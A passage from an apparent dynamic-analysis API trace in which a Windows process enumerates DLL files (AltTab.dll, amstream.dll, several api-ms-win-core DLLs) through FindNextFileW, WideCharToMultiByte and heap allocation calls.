lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.124] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x24c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0185.124] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.124] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.124] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.124] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.124] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.124] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0185.124] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.124] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.124] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x24c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0185.124] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.124] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.124] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.124] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.124] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.124] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0185.124] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.124] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.124] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x24c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0185.124] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.124] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.124] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.124] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.124] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.124] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0185.124] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.124] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.125] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x24c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0185.125] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.125] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.125] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.125] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.125] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.125] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0185.125] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.125] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0185.125] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x24c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0185.125] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.125] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.125] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.125] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.125] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.125] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.125] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.125] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0185.125] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x24c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0185.125] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.125] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.125] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.125] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.125] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.125] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.125] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.125] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0185.125] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x24c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0185.125] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.125] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.125] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.126] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.126] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.126] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.126] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.126] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0185.126] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x24c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0185.126] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.126] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.126] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.126] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.126] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.126] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.126] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.126] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0185.126] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x24c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0185.126] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.126] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.126] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.126] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.126] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.126] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.126] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.126] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0185.126] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x24c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0185.126] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.126] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.126] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.126] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.126] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.126] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.126] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.126] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0185.127] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x24c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0185.127] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.127] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.127] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.127] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.127] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.127] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.127] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.127] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0185.127] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x24c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0185.127] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.127] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.127] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.127] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.127] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.127] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0185.127] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.127] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0185.127] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x24c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0185.127] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.127] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.127] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.127] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.127] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.127] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0185.127] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.127] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0185.127] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x24c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0185.127] RtlAllocateHeap 